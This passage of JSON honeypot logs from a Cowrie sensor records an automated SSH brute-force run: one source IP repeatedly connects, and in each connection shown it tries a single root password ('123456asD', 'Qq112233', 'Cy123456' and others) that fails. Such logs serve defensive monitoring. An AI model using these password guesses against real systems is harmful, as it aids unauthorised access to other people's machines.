98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:00.707141Z","src_ip":"60.165.124.241","session":"7174ed764b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.183.18.145","src_port":17897,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cadfddbadd2","protocol":"telnet","message":"New connection: 62.183.18.145:17897 (10.17.0.5:23) [session: 9cadfddbadd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:01.385245Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kai","message":"login attempt [root/kai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:01.482375Z","src_ip":"60.165.124.241","session":"7174ed764b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:02.741947Z","src_ip":"60.165.124.241","session":"7174ed764b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6bc02a5388e","protocol":"ssh","message":"New connection: 60.165.124.241:59614 (10.17.0.5:22) [session: f6bc02a5388e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:02.956723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:02.966397Z","src_ip":"60.165.124.241","session":"f6bc02a5388e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:03.204060Z","src_ip":"60.165.124.241","session":"f6bc02a5388e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jNR4Jzy2","message":"login attempt [root/jNR4Jzy2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:03.921729Z","src_ip":"60.165.124.241","session":"f6bc02a5388e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:05.162177Z","src_ip":"60.165.124.241","session":"f6bc02a5388e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e14815ab77a","protocol":"ssh","message":"New connection: 60.165.124.241:34474 (10.17.0.5:22) [session: 0e14815ab77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:05.393346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:05.398838Z","src_ip":"60.165.124.241","session":"0e14815ab77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:05.635358Z","src_ip":"60.165.124.241","session":"0e14815ab77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456asD","message":"login attempt [root/123456asD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:06.351464Z","src_ip":"60.165.124.241","session":"0e14815ab77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:07.590365Z","src_ip":"60.165.124.241","session":"0e14815ab77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36976,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f6fc1bdd69","protocol":"ssh","message":"New connection: 60.165.124.241:36976 (10.17.0.5:22) [session: 85f6fc1bdd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:07.861256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:07.869402Z","src_ip":"60.165.124.241","session":"85f6fc1bdd69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:08.125790Z","src_ip":"60.165.124.241","session":"85f6fc1bdd69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sendinfo","message":"login attempt [root/sendinfo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:08.900812Z","src_ip":"60.165.124.241","session":"85f6fc1bdd69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:10.158998Z","src_ip":"60.165.124.241","session":"85f6fc1bdd69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40142,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9e4d2f1ee4","protocol":"ssh","message":"New connection: 60.165.124.241:40142 (10.17.0.5:22) [session: eb9e4d2f1ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:10.373880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:10.378767Z","src_ip":"60.165.124.241","session":"eb9e4d2f1ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:10.616158Z","src_ip":"60.165.124.241","session":"eb9e4d2f1ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ppppppppp","message":"login attempt [root/ppppppppp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:11.338076Z","src_ip":"60.165.124.241","session":"eb9e4d2f1ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:12.578892Z","src_ip":"60.165.124.241","session":"eb9e4d2f1ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42970,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de97c2cdd1b","protocol":"ssh","message":"New connection: 60.165.124.241:42970 (10.17.0.5:22) [session: 9de97c2cdd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:12.808172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:12.816686Z","src_ip":"60.165.124.241","session":"9de97c2cdd1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:13.051094Z","src_ip":"60.165.124.241","session":"9de97c2cdd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.331502437591553,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:13.716636Z","src_ip":"62.183.18.145","session":"9cadfddbadd2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq112233","message":"login attempt [root/Qq112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:13.770536Z","src_ip":"60.165.124.241","session":"9de97c2cdd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:15.007725Z","src_ip":"60.165.124.241","session":"9de97c2cdd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46148,"dst_ip":"10.17.0.5","dst_port":22,"session":"710a077503f2","protocol":"ssh","message":"New connection: 60.165.124.241:46148 (10.17.0.5:22) [session: 710a077503f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:15.247959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:15.253130Z","src_ip":"60.165.124.241","session":"710a077503f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:15.492635Z","src_ip":"60.165.124.241","session":"710a077503f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19830408","message":"login attempt [root/19830408] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:16.219203Z","src_ip":"60.165.124.241","session":"710a077503f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:17.462303Z","src_ip":"60.165.124.241","session":"710a077503f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49176,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d0c7224ffbb","protocol":"ssh","message":"New connection: 60.165.124.241:49176 (10.17.0.5:22) [session: 8d0c7224ffbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:17.692612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:17.697547Z","src_ip":"60.165.124.241","session":"8d0c7224ffbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:17.934380Z","src_ip":"60.165.124.241","session":"8d0c7224ffbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antsle","message":"login attempt [root/antsle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:18.668010Z","src_ip":"60.165.124.241","session":"8d0c7224ffbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:19.913652Z","src_ip":"60.165.124.241","session":"8d0c7224ffbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51942,"dst_ip":"10.17.0.5","dst_port":22,"session":"328ebdde0e06","protocol":"ssh","message":"New connection: 60.165.124.241:51942 (10.17.0.5:22) [session: 328ebdde0e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:20.158451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:20.162993Z","src_ip":"60.165.124.241","session":"328ebdde0e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:20.410654Z","src_ip":"60.165.124.241","session":"328ebdde0e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cy123456","message":"login attempt [root/Cy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:21.166695Z","src_ip":"60.165.124.241","session":"328ebdde0e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:22.417950Z","src_ip":"60.165.124.241","session":"328ebdde0e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55000,"dst_ip":"10.17.0.5","dst_port":22,"session":"971bef9f57a7","protocol":"ssh","message":"New connection: 60.165.124.241:55000 (10.17.0.5:22) [session: 971bef9f57a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:22.671203Z"}
